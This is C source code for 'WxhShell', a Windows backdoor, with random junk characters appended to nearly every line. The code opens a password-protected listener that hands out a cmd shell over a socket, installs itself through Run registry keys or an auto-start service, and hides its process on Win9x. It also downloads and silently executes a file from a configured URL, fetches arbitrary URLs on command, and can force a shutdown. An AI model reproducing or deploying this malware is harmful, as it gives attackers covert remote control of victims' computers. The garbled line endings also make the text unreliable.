    else { Y8Z-m (OQ  
    closesocket(wsh); F ,h}HlU  
    ExitThread(0); %Zi}sm1t  
    } 41 #YtZ  
    break; my*E7[  
    } \$Aw[ 5&t  
  // 获取shell P.'$L\  
  case 's': { Cg&:+  
    CmdShell(wsh); z18<rj  
    closesocket(wsh); /[=U$=uH  
    ExitThread(0); l ^;=0UR_  
    break; 3Ss)i7  
  } R~N'5#.*M  
  // 退出 R0bWI`$Z  
  case 'x': { (/gMtIw  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); VNHt ]Ewj  
    CloseIt(wsh); [WBU _  
    break; wOrpp3I  
    } %40+si3c  
  // 离开 :Nl.< 6+  
  case 'q': { 0uhIJc'2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); G ;  
    closesocket(wsh); 2hFOwI  
    WSACleanup(); YfJQ]tt 1  
    exit(1); 2/RW(U  
    break; i$dF0.}Q  
        } Jk,}3Cr/  
  } DP=\FG"}x  
  } ({9P, D~2  
M<cm]  
  // 提示信息 gtJCvVj>g  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J%lEyU  
} lCK|PY*  
  } 'jjJ[16"d  
A}z1~Z+  
  return; S'(Hl}h!.  
} U_1N*XK6$  
GL'zNQP-  
// shell模块句柄 `fUP q ;  
int CmdShell(SOCKET sock) zZI7p[A[3  
{ [Ontip  
STARTUPINFO si; X:d[eAu0  
ZeroMemory(&si,sizeof(si)); Jec<1|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q\T}jF\t  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; THHA~;00YN  
PROCESS_INFORMATION ProcessInfo; TTm  
char cmdline[]="cmd"; ?PDrj/: *  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Xr$hQbl5D  
  return 0; Wm>AR? b  
} jWJ/gv~ $  
.p /VRlLU  
// 自身启动模式 73tWeZ8rvx  
int StartFromService(void) g0"KC X  
{ YV"LM6`  
typedef struct Uiu9o]n  
{ egy#8U)Z  
  DWORD ExitStatus; iYl$25k/1  
  DWORD PebBaseAddress;  9Li.B1j  
  DWORD AffinityMask; {uji7TB  
  DWORD BasePriority; ~.f[K{h8  
  ULONG UniqueProcessId; [Se0+\,&  
  ULONG InheritedFromUniqueProcessId; Z=CY6Zu7  
}   PROCESS_BASIC_INFORMATION; 2mVLR;s{_  
BRGTCR  
PROCNTQSIP NtQueryInformationProcess; ~AG."<}  
,Z p9,nf  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ljRR{HOl  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uq_h8JH$  
SWM6+i p  
  HANDLE             hProcess; <|_b:  
  PROCESS_BASIC_INFORMATION pbi; 7COJ.rA  
dI|`"jl#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P g1EE"N@  
  if(NULL == hInst ) return 0; I0]"o#Lj T  
L}5IX)#gH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QW1d&Gb.(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Zfn390_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qvhol  
?5#=Mh#  
  if (!NtQueryInformationProcess) return 0; A1nEp0%Y  
hg=BXe4:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); JdW:%,sv  
  if(!hProcess) return 0; @C fxPA  
b(McH*_8e  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |`yzH$,F  
s(Tgv  
  CloseHandle(hProcess); 95CCje{o _  
+: oD?h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8{Id+Q>Vo,  
if(hProcess==NULL) return 0; 1GL@t?S  
:g[G&Ds8  
HMODULE hMod; I+^B] @"  
char procName[255]; %aeQL;# V  
unsigned long cbNeeded; h f1f  
KU}HVM{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :,^pLAt  
 ^"d!(npw  
  CloseHandle(hProcess); );.q:"  
g)Byd\DS  
if(strstr(procName,"services")) return 1; // 以服务启动 jW-j+ WGSM  
\Ow-o0  
  return 0; // 注册表启动 .h8%zB#|i  
} H.ZmLB  
Q`]E l<$  
// 主模块 Gv,0{DVX<  
int StartWxhshell(LPSTR lpCmdLine) =Xc[EUi<;g  
{ O} !L;?  
  SOCKET wsl; ;=.QT  
BOOL val=TRUE; _~`\TS8  
  int port=0; 6_wf $(im  
  struct sockaddr_in door; 5M{ DJ/q  
_r}oYs%1  
  if(wscfg.ws_autoins) Install(); .bYDj&]P{  
AE)<ee%\\  
port=atoi(lpCmdLine); [z:bnS~yiD  
3?vasL  
if(port<=0) port=wscfg.ws_port; `1NxS35u  
"kKIVlC  
  WSADATA data; rZy38Wo  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =Po!\[SBU  
C'hI{4@P  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /AR;O4X+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =$g8"[4   
  door.sin_family = AF_INET; FV/X&u8~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |Mp_qg?g  
  door.sin_port = htons(port); ]rDf3_!m(  
HB$*xS1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { & CiUU  
closesocket(wsl); -0Q:0wU  
return 1; fz W%(.tc\  
} hltH{4  
u!%]?MSc  
  if(listen(wsl,2) == INVALID_SOCKET) { j$#pG  
closesocket(wsl); <GShm~XD2  
return 1; 8=7u,t  
} ML0o :8Bd\  
  Wxhshell(wsl); ]do0{I%\eq  
  WSACleanup(); r+;C}[E  
M"K$81  
return 0; 0gVylQ  
:x97^.eW~  
} +V&b<y;?>  
0z."6 r  
// 以NT服务方式启动 iLy }G7h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z\xR+3  
{ pCA(>(  
DWORD   status = 0; {t[j>_MYw  
  DWORD   specificError = 0xfffffff; Wn24eld"x  
]}F_nc2L  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'M+iVF6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >E?626*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -<}_K,Ky`  
  serviceStatus.dwWin32ExitCode     = 0; _p7c<$ ;  
  serviceStatus.dwServiceSpecificExitCode = 0; Og%qv Bj 6  
  serviceStatus.dwCheckPoint       = 0; D<}KTyG]  
  serviceStatus.dwWaitHint       = 0; /g'F+{v  
CIQo2~G  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %\[LM$f{z  
  if (hServiceStatusHandle==0) return; 8;.WX  
B4GgR,P@S  
status = GetLastError(); @y9_\mX!s  
  if (status!=NO_ERROR) "VkraB.i  
{ 6ndt1W z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; UBi0 /  
    serviceStatus.dwCheckPoint       = 0; BG~h9.c  
    serviceStatus.dwWaitHint       = 0; |>GtClL  
    serviceStatus.dwWin32ExitCode     = status; +WK!}xZR  
    serviceStatus.dwServiceSpecificExitCode = specificError; >!wX% QHH  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ar=uDb;  
    return; RMmDcvM"k  
  } d~O\zLQ;  
pb}QP  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~0|Hw.OK  
  serviceStatus.dwCheckPoint       = 0; 4&r^mGs,  
  serviceStatus.dwWaitHint       = 0; Jp xJZJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); LnxJFc:1K  
} me$ 7\B;wy  
5X nA.?F^  
// 处理NT服务事件,比如:启动、停止 a*NcL(OC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]gHw;ry  
{ ;->(hFJt  
switch(fdwControl) jw5Bbyk  
{ 8"LvkN/v^  
case SERVICE_CONTROL_STOP: z(aei(U=  
  serviceStatus.dwWin32ExitCode = 0; gx#xB8n  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &$qqF&  
  serviceStatus.dwCheckPoint   = 0; X&TTw/J!^  
  serviceStatus.dwWaitHint     = 0; VW I{ wC  
  { C\j|+s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :7<spd(%"  
  } votv rZ=  
  return; 7pMrYIP  
case SERVICE_CONTROL_PAUSE: u8v;O}#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; VjBV2x  
  break; 0j7W\'!t  
case SERVICE_CONTROL_CONTINUE: H@qA X  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `!kOyh:X  
  break; xD,BlDV  
case SERVICE_CONTROL_INTERROGATE: ,H2[["1DH  
  break; :&HrOdz  
}; Z[R E|l{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZC@ 33Q(  
} Nj5Mc>_   
r;g[<6`!S  
// 标准应用程序主函数 yJ c#y   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?"N, do  
{ <[@AMdS  
%# ?)+8"l  
// 获取操作系统版本 G<#9`  
OsIsNt=GetOsVer(); a"EX<6"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); NBwxN  
o|*ao2a  
  // 从命令行安装 ) gYsg  
  if(strpbrk(lpCmdLine,"iI")) Install(); +)h*)  
P%A;EF~ v  
  // 下载执行文件 'X d_8.  
if(wscfg.ws_downexe) { >\ y|}|?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $l@nk@  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7xTgG!>v  
} \1cay#X  
w=Ac/ 12  
if(!OsIsNt) { 9E5Ec~l  
// 如果时win9x,隐藏进程并且设置为注册表启动 y3 {'s>O6  
HideProc(); 4{=zO(>  
StartWxhshell(lpCmdLine); %nk]zf..  
} dQT A^m  
else UmUw>+A  
  if(StartFromService()) Z0uo. H@.N  
  // 以服务方式启动 Tw *:Vw  
  StartServiceCtrlDispatcher(DispatchTable); b;G3&R]  
else |ZZl3l=]  
  // 普通方式启动 X|zQZ<CO  
  StartWxhshell(lpCmdLine); rp^= vfW  
Y"6 '  
return 0; .sI*\@w.  
} &YC Z L  
%Xc50n2Z  
N3O3V5':!  
& mwQj<Z  
=========================================== b* k=  
,' VT75  
<LL+\kfTZO  
[d 30mVM  
%3b;`Oa  
8_ byS<b8  
" yvR3|  
cj K\(b3  
#include <stdio.h> )aSj!X'`;  
#include <string.h> (=&z:-52V  
#include <windows.h> *Z}^T:3iw}  
#include <winsock2.h> lw+Y_;  
#include <winsvc.h> 5&A{IN  
#include <urlmon.h> "#}Uh  
:&SvjJR  
#pragma comment (lib, "Ws2_32.lib") stGk*\>U'  
#pragma comment (lib, "urlmon.lib") z`g4<  
ox:m;-Ml?_  
#define MAX_USER   100 // 最大客户端连接数 wavyREK   
#define BUF_SOCK   200 // sock buffer P:D@ 5  
#define KEY_BUFF   255 // 输入 buffer cft/;A u{  
~dc o  
#define REBOOT     0   // 重启 X%(1C,C(  
#define SHUTDOWN   1   // 关机 7x> \/l(  
)<ig6b%  
#define DEF_PORT   5000 // 监听端口 .X1xpi%  
VT ikLuH  
#define REG_LEN     16   // 注册表键长度 unX mMSz(  
#define SVC_LEN     80   // NT服务名长度 z`]sWi F0  
7QSr C/e  
// 从dll定义API Z7]["  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g \.O5H9Od  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); OQnb^fabY  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >o/+z18x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); A4K8DP  
Mo'6<"x  
// wxhshell配置信息 o?,c#g  
struct WSCFG { *ggai?  
  int ws_port;         // 监听端口 ZuLW%z.  
  char ws_passstr[REG_LEN]; // 口令 shk yN  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9 AWFjoXl"  
  char ws_regname[REG_LEN]; // 注册表键名 iQd,xr  
  char ws_svcname[REG_LEN]; // 服务名 5,_DM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 z:1"d R   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1S{AGgls5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %2@O,uCo@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ntr&? H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >mAi/TZC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 L l$,"}0T  
V$Zl]f$S  
}; zp'Vn7  
sgLw,WZ:  
// default Wxhshell configuration 4s@oj  
struct WSCFG wscfg={DEF_PORT, GI5#{-)  
    "xuhuanlingzhe", 4`Ib wg6"B  
    1, `RlMfd  
    "Wxhshell", SX)o0v+  
    "Wxhshell", aN5"[&  
            "WxhShell Service", % <1&\5f<5  
    "Wrsky Windows CmdShell Service", }PUY~ u  
    "Please Input Your Password: ", L3;cAb/  
  1, b3.}m[]  
  "http://www.wrsky.com/wxhshell.exe", IkP; i_|  
  "Wxhshell.exe" X..<U}e  
    }; !sVW0JSh  
aY8QYK ;?^  
// 消息定义模块 _{2/QP}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; XXg~eu?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; e3.q8r  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "1wjh=@z  
char *msg_ws_ext="\n\rExit."; `f<&=_,xfH  
char *msg_ws_end="\n\rQuit."; d3;Sy`.  
char *msg_ws_boot="\n\rReboot..."; AA XQ+!  
char *msg_ws_poff="\n\rShutdown..."; FY9nVnIoI  
char *msg_ws_down="\n\rSave to "; v*JXrB&x  
G`r/ tesW  
char *msg_ws_err="\n\rErr!"; dZkj|Ua~  
char *msg_ws_ok="\n\rOK!"; aZ'(ar :  
:h8-y&;  
char ExeFile[MAX_PATH]; Yn5a4  
int nUser = 0; q uL+UFuM  
HANDLE handles[MAX_USER]; pGcijD  
int OsIsNt; |>/m{L[  
#BW:*$>}  
SERVICE_STATUS       serviceStatus; B=)tq.Q7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; tjJi|  
U>hpYqf_  
// 函数声明 z7!@^!r  
int Install(void); }u+cS[#-  
int Uninstall(void); x31Jl{x8\?  
int DownloadFile(char *sURL, SOCKET wsh); f {j`d&|  
int Boot(int flag); P?|>, \t  
void HideProc(void); u>*d^[zS  
int GetOsVer(void); Y' O3RA5E  
int Wxhshell(SOCKET wsl); ~COd(,ul  
void TalkWithClient(void *cs); `zOn(6B;U  
int CmdShell(SOCKET sock); JIXZI\Fk  
int StartFromService(void); Ey&gZ$|&  
int StartWxhshell(LPSTR lpCmdLine); hQ}y(2A.XI  
{JtfEna  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9'0v]ar  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); d`3>@*NR<  
jm0v=m7  
// 数据结构和表定义 MI,kKi  
SERVICE_TABLE_ENTRY DispatchTable[] = c JOT{  
{ YSr u5Q  
{wscfg.ws_svcname, NTServiceMain}, Gj&`+!\  
{NULL, NULL} j/, I)Za  
}; fl+2 '~  
fzr0dcNgM  
// 自我安装 %b>Ee>rdD  
int Install(void) 5GwzG<.\^_  
{ xeW}`i5_w  
  char svExeFile[MAX_PATH]; s&L 6C[  
  HKEY key; v5 I}a7  
  strcpy(svExeFile,ExeFile); #\&64  
-Q" N;&'[&  
// 如果是win9x系统,修改注册表设为自启动 8B;HMD  
if(!OsIsNt) { ?@H/;hB[|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p9gX$-!pbG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /{!?e<N>  
  RegCloseKey(key); Fjw+D1q.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -5GRit1q?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &6^QFqqW`-  
  RegCloseKey(key); I*0TI@Lo  
  return 0; "p"~fN /I9  
    } RP%7M8V){B  
  } c52S2f7  
} Q6hWHfS  
else { VH6J @m  
`:kI@TPI_C  
// 如果是NT以上系统,安装为系统服务 f vr|<3ojo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q]wP^;\Jl  
if (schSCManager!=0) H",q-.!  
{ DwI X\9  
  SC_HANDLE schService = CreateService b|nh4g  
  ( MXrh[QCU)  
  schSCManager, *V?p&/>MT  
  wscfg.ws_svcname, %Iv*u sXP  
  wscfg.ws_svcdisp, xnPi'?A]  
  SERVICE_ALL_ACCESS, wD5fm5r=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |`Iispn  
  SERVICE_AUTO_START,  @"L*!  
  SERVICE_ERROR_NORMAL, -}9>#<v  
  svExeFile, DGO\&^GT^  
  NULL, Y1 *8&xT  
  NULL, xMHu:,ND  
  NULL, 3oMhsQz~z  
  NULL, ~JG\b?s  
  NULL #9(L/)^  
  ); ?VR:e7|tU  
  if (schService!=0) #pr{tL  
  { WbGN 5?9Q  
  CloseServiceHandle(schService); N_R(i3c6U!  
  CloseServiceHandle(schSCManager); /Bp5^(s  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O^KIB%}fu  
  strcat(svExeFile,wscfg.ws_svcname); D\k'Eez  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :bu]gj4e  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zaG1  
  RegCloseKey(key); s|IC;C|  
  return 0; W \XLf,_+  
    } C(}N*e1  
  } y-lBaTE9  
  CloseServiceHandle(schSCManager); !M;><b}=5  
} m.w.h^f$&  
} @=dwvl' W  
H,0Io  
return 1; oP_}C[  
} ]h?p3T$h  
l'twy$V4|~  
// 自我卸载 bz|-x"qk  
int Uninstall(void) .^V9XN{'a  
{ Xhp={p;  
  HKEY key;  giORc  
f]48>LRE8  
if(!OsIsNt) { x@? YS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D2]i*gs  
  RegDeleteValue(key,wscfg.ws_regname); LGq T$ O|  
  RegCloseKey(key); E~`l/ W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { THY=8&x)  
  RegDeleteValue(key,wscfg.ws_regname); T&+y~c[au  
  RegCloseKey(key); @@d6,=  
  return 0; EGxCNB  
  } >b2wFo/em  
}  P@FE3g  
} 5F$~ZDu  
else { x*! %o(G  
'nN'bVl/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,vB~9^~  
if (schSCManager!=0) QE+HL8c^s  
{ @7`=0;g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); v@Qfx V2  
  if (schService!=0) qh#?a'  
  { D\^\_r):  
  if(DeleteService(schService)!=0) { PnZY%+[I  
  CloseServiceHandle(schService); :%>TM/E N  
  CloseServiceHandle(schSCManager); yR1v3D4E  
  return 0; 4WP@ F0@n3  
  } 0SV4p.  
  CloseServiceHandle(schService); {<Y\flj{@m  
  } 11?d,6Jl  
  CloseServiceHandle(schSCManager);  }~Ir &   
} 8 `}I]  
} LG;U?:\  
n!&F%|o^^  
return 1; pvhN.z  
} @1s 2# )l(  
AmB*4p5b  
// 从指定url下载文件 cs?IzIQ  
int DownloadFile(char *sURL, SOCKET wsh) y'C  
{ 6e%ZNw{#=  
  HRESULT hr; w+gPU1|(r  
char seps[]= "/"; } p `A>  
char *token; 7V-uQ)*  
char *file; Xa$-Sx  
char myURL[MAX_PATH]; `]F#j ]"  
char myFILE[MAX_PATH]; <&l@ ):a  
*_@$ "9  
strcpy(myURL,sURL); v9"03 =h  
  token=strtok(myURL,seps); xM?tdQ~VHY  
  while(token!=NULL) xwojjiV  
  { Bdm05}c@u  
    file=token; a xz-H`oq4  
  token=strtok(NULL,seps); 7{p6&xXx  
  } dy4~~~^A  
up2wkc8  
GetCurrentDirectory(MAX_PATH,myFILE); EN5F*s@r  
strcat(myFILE, "\\"); H` h]y  
strcat(myFILE, file); dg#w!etB  
  send(wsh,myFILE,strlen(myFILE),0); eC`G0.op  
send(wsh,"...",3,0);  ?%*p!m  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); oB+Ek~{z]  
  if(hr==S_OK) [I,s:mn  
return 0; 4VhKV JX  
else GYtp%<<9;  
return 1; ?u>A2Vc!  
C);I[H4Yfw  
} { a_&L  
EZ[e  a<  
// 系统电源模块 krRnE7\m  
int Boot(int flag) "] ]aF1  
{ yC[Q-P*rG  
  HANDLE hToken; <sG}[:v  
  TOKEN_PRIVILEGES tkp; 4P?@NJp  
d(C5i8d  
  if(OsIsNt) { B?9"Ztb  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5ljEh -  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Esf\Bo"  
    tkp.PrivilegeCount = 1; aX? tnDv  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P>'29$1'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xn anca  
if(flag==REBOOT) { bT`et*]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ohi0_mBz  
  return 0; c9Q_Qr0'  
} *RFBLCt  
else { xXCsJ9]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) uG(XbDZZ1W  
  return 0; P?+ VR=t  
} .:=5|0m  
  } Wm/0Pi  
  else { Se>v|6  
if(flag==REBOOT) { UL" M?).5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?;ZnD(4?  
  return 0; lqvP Dz  
} { }P~nP  
else { eE@7AM  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }j{Z &(K  
  return 0; ~'N+O K  
} $?u LFD  
} 1i;Cw/mr  
UQjYWXvi  
return 1; T$Z}1e]  
} o0TB>DX$`  
[Xww`OUsh  
// win9x进程隐藏模块 ynJ)6n7a  
void HideProc(void) o90[,  
{ xW58B  
?=b#H6vs  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R| XD#bG  
  if ( hKernel != NULL ) ysFp$!9Ux  
  { L$^)QxH7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); YMj iJTl  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X39%O'  
    FreeLibrary(hKernel); z&z5EtFUTh  
  } : :928y  
l@`n4U.Gwl  
return; o)8VJ\ &  
} ;A0ZcgF  
=)J )xH!N  
// 获取操作系统版本 [d=BN ,?  
int GetOsVer(void) ?O0,)hro  
{ f;!L\$yKy  
  OSVERSIONINFO winfo; r(<91~Ww  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); K6,d{n  
  GetVersionEx(&winfo); AvB21~t&]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) % -.V6}V  
  return 1; Y6 a9S`o  
  else %&eBkN!T  
  return 0; lYU?j|n  
} QV -ZP'e^  
 SPnW8  
// 客户端句柄模块 qA t#0  
int Wxhshell(SOCKET wsl) Z>*a:|  
{ 8v6AfTo%  
  SOCKET wsh; Ct$\!|aR  
  struct sockaddr_in client; ;8cTy8  
  DWORD myID; DIgur}q)@  
WA5.qw  
  while(nUser<MAX_USER) sHQO*[[  
{ q-S#[I+g  
  int nSize=sizeof(client); .-1'#Z1T  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0|,Ij $  
  if(wsh==INVALID_SOCKET) return 1; ;8b!T -K  
fIn^a 3TV  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); { &J OO  
if(handles[nUser]==0) <slrzc_>&  
  closesocket(wsh); c`oW-K{  
else N w/it*f  
  nUser++; u.}H)wt  
  } [4+I1UR`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xdMY2u  
p9&gKIO_m  
  return 0; biRkq c;  
} yoM^6o^,D  
),2|TlQ  
// 关闭 socket Rpj{!Ia  
void CloseIt(SOCKET wsh) P!lfk:M^;  
{ [J55%N;#1  
closesocket(wsh); GQ sE5Vb  
nUser--; (~fv;}}v  
ExitThread(0); F:AVik  
}  hRqr  
lkJe7 +s  
// 客户端请求句柄 7v}(R:*  
void TalkWithClient(void *cs) |Z8Eu0RSb  
{ N(P2Lo{JF  
HE0m#  
  SOCKET wsh=(SOCKET)cs; r6It )PQ  
  char pwd[SVC_LEN]; < Yc)F.:  
  char cmd[KEY_BUFF]; 1/%5pb2\  
char chr[1]; J|([(  
int i,j; yi2F#o 'K  
-1w^z`;2h  
  while (nUser < MAX_USER) { |O;vWn'U2  
U[z2{\  
if(wscfg.ws_passstr) { >u]9(o7I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Hk$do`H-=Y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z G`|)  
  //ZeroMemory(pwd,KEY_BUFF); t_+owiF)M  
      i=0; P1 |3%#c  
  while(i<SVC_LEN) { i?,\>LTG  
2 ]n4)vv,  
  // 设置超时 Z:diM$Z?7  
  fd_set FdRead; ]l`V#Rd  
  struct timeval TimeOut; m%c]+Our`  
  FD_ZERO(&FdRead); fP 3t0cp  
  FD_SET(wsh,&FdRead); <v?2p{U%  
  TimeOut.tv_sec=8; dJ>tM'G  
  TimeOut.tv_usec=0; "BIhd*K[~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2'Raj'2S4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8t |?b  
X_)x Fg'k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o\fPZ`p-m~  
  pwd=chr[0]; w=^~M[%w  
  if(chr[0]==0xd || chr[0]==0xa) { 2iC BF-,  
  pwd=0; ! 6R|  
  break; '@5 x=>  
  } <- R%  
  i++; 8"rK  
    } i8%Z(@_`  
-b34Wz(  
  // 如果是非法用户,关闭 socket iH>b"H >  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4L r,}t A  
} 'a$/ !~X  
bAUYJPRpy  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X|L_}Q7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >f D%lq;  
N:EljzvP}  
while(1) { 9f CU+s  
+e#(p<  
  ZeroMemory(cmd,KEY_BUFF); v!=e]w6{  
W #kLM\2L  
      // 自动支持客户端 telnet标准   &SPIu,  
  j=0; -6^Ee?"  
  while(j<KEY_BUFF) { 0*j\i@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DmZ_tuVI  
  cmd[j]=chr[0]; &E@mCQ1  
  if(chr[0]==0xa || chr[0]==0xd) { .~a8\6t  
  cmd[j]=0; oWggh3eXk  
  break; }a%Wu 7D  
  } ~`5[Li:eP  
  j++; fT=ZiHJ3Gu  
    } )ri'W <l  
qj^A   
  // 下载文件 RK_z!%(P  
  if(strstr(cmd,"http://")) { mXu";?2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); I]~s{I(EK  
  if(DownloadFile(cmd,wsh)) ^}kYJvqA  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -*2b/=$u  
  else G$~hAZ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5oOs.(m|*C  
  } u%Z4 8wr  
  else { fUJe{C<H  
k;.<DN  
    switch(cmd[0]) { 5KssfI a  
  clr]gib  
  // 帮助 ^(:na6C  
  case '?': { 7/\SN04l  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .o8pC  
    break; fi6_yFl  
